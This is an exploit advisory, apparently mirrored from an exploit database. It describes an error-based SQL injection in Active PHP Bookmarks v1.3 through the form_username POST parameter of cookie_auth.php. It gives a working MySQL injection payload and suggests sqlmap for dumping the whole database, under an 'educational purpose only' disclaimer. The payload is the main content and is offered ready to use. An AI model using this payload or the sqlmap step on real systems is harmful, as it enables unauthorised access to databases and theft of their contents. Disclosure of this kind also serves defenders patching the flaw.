Share
## https://sploitus.com/exploit?id=PACKETSTORM:153881
Active PHP Bookmarks v1.3 'cookie_auth' Error-Based SQL Injection  
Vulnerability  
  
This is only for demonstration!  
  
Exploitation: If you want to retrieve all database, use sqlmap.  
  
  
Disclaimer:  
This or previous programs is for Educational   
purpose ONLY. Do not use it without permission.   
The usual disclaimer applies, especially the   
fact that Todor Donev is not liable for any   
damages caused by direct or indirect use of the   
information or functionality provided by these   
programs. The author or any Internet provider   
bears NO responsibility for content or misuse   
of these programs or any derivatives thereof.  
By using these programs you accept the fact   
that any damage (dataloss, system crash,   
system compromise, etc.) caused by the use   
of these programs is not Todor Donev's   
responsibility.  
  
Use them at your own risk!  
  
  
Weakness: http://server/path/cookie_auth.php?action=cookie_login  
  
---  
Place: POST  
Parameter: form_username  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause  
Payload: form_username=' AND (SELECT 5293 FROM(SELECT  
COUNT(*),CONCAT(0x7176727271,(SELECT (CASE WHEN (5293=5293) THEN 1 ELSE  
0 END)),0x716c736971,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ASjU  
---